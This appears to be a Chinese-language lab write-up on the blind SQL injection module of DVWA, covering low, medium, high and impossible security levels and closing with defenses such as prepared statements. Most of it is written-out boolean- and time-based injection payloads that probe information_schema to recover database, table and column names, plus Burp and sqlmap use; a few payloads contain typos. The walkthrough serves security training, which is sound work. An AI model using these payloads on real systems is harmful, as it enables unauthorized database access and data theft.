DVWA靶場(七、盲注)
一、盲注介紹
盲注就是在SQL注入過程中,伺服器並沒有給客戶端返回資訊。通過盲注可以對程式對應的資料儲存區進行對應的探測。盲注分類可以分為基於時間和基於布林以及基於報錯的盲注。
1、基於時間,注意是否有延遲
輸入1 and sleep(5)#
輸入1' and sleep(5)#
2、基於布林,注意返回結果是否相同
輸入1' and 1=1 #
輸入1' and 1=2 #
二、盲注(low)
2.1、程式碼分析,low級別的程式碼對引數沒有做任何過濾,以文字框輸入並提交的形式,GET請求方式
2.2、通過brup抓包,把請求訊息copy到kali中,通過sqlmap探測得到注入點和資料庫內容
2.3、手工盲注的步驟,首先判斷是否存在注入,注入是字元型還是數字型;接下來依次猜解資料庫名、表名、欄位名、資料。
輸入1,顯示存在;輸入1'and 1=1#,顯示存在;輸入1’ and 1=2 #,顯示不存在;說明存在字元型的sql盲注
2.4、猜解當前資料庫名,首先猜解資料庫名的長度,然後採用二分法猜解資料庫名
猜解長度: 輸入1’ and length(database())=3 #,顯示不存在; 輸入1’ and length(database())=4 #,顯示存在: 猜解資料庫名: 輸入1’ and ascii(substr(databse(),1,1))>97 #,顯示存在,說明資料庫名的第一個字元的ascii值大於97(小寫字母a的ascii值); 輸入1’ and ascii(substr(databse(),1,1))<122 #,顯示存在,說明資料庫名的第一個字元的ascii值小於122(小寫字母z的ascii值); 不斷重複猜出資料庫名為dvwa
2.5、猜解資料庫中的表名,首先我們先猜解表的數量,說明有兩個表
1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1 # 顯示不存在
1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 # 顯示存在
MYsql資料庫結構
挨個猜解表名:
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 顯示不存在 1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 顯示不存在 … 1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 顯示存在
說明第一個表名長度為9
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 顯示存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 顯示存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 顯示存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 顯示不存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 顯示不存在
說明第一個表的第一個字元為g,重複上述步驟即可猜解出兩個表名(gusetbook、users)
2.6、猜解表中的欄位名,首先猜解表中的欄位數量:
1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=1 # 顯示不存在
…
1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 # 顯示存在
說明users表中有8個欄位,然後挨個猜解欄位名:
1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 # 顯示不存在
…
1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7 # 顯示存在
說明users表中第一個欄位為7個字元長度,採用二分法即可猜解出所有欄位名。
2.7、猜解資料
採用二分法挨個猜測
三、盲注(medium)
3.1、程式碼分析,利用mysql_real_escape_string函式對特殊符號\x00,\n,\r,,’,”,\x1a進行轉義,控制使用者不能通過文字框輸入只能通過下拉選單選擇。
3.2、這裡只能通過brup抓包修改引數id進行查詢,首先是基於布林的盲注:
抓包改引數id為1 and length(database())=4 #,顯示存在,說明資料庫名的長度為4個字元;
抓包改引數id為1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,顯示存在,說明資料中的第一個表名長度為9個字元;
抓包改引數id為1 and (select count(column_name) from information_schema.columns where table_name= 0×7573657273)=8 #,(0×7573657273為users的16進位制),顯示存在,說明uers表有8個欄位。
然後是基於時間的盲注:
抓包改引數id為1 and if(length(database())=4,sleep(5),1) #,明顯延遲,說明資料庫名的長度為4個字元;
抓包改引數id為1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #,明顯延遲,說明資料中的第一個表名長度為9個字元;
抓包改引數id為1 and if((select count(column_name) from information_schema.columns where table_name=0×7573657273 )=8,sleep(5),1) #,明顯延遲,說明uers表有8個欄位。
四、盲注(high)
4.1、程式碼分析,可以看到,High級別的程式碼利用cookie傳遞引數id,當SQL查詢結果為空時,會執行函式sleep(seconds),目的是為了擾亂基於時間的盲注。同時在 SQL查詢語句中添加了LIMIT 1,希望以此控制只輸出一個結果。
4.2、雖然添加了LIMIT 1,但是我們可以通過#將其註釋掉。但由於伺服器端執行sleep函式,會使得基於時間盲注的準確性受到影響,這裡我們只演示基於布林的盲注:
抓包將cookie中引數id改為1’ and length(database())=4 #,顯示存在,說明資料庫名的長度為4個字元;
抓包將cookie中引數id改為1’ and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,顯示存在,說明資料中的第一個表名長度為9個字元;
抓包將cookie中引數id改為1’ and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #,(0×7573657273 為users的16進位制),顯示存在,說明uers表有8個欄位。
五、盲注(impossible)
5.1、程式碼分析,可以看到,Impossible級別的程式碼採用了PDO技術,劃清了程式碼與資料的界限,有效防禦SQL注入,Anti-CSRF token機制的加入了進一步提高了安全性。
常見防範措施
1、過濾使用者輸入
2、使用預編譯處理SQL語句(PDO、Sqlparameter)
3、使用OWASP等安全的sql處理API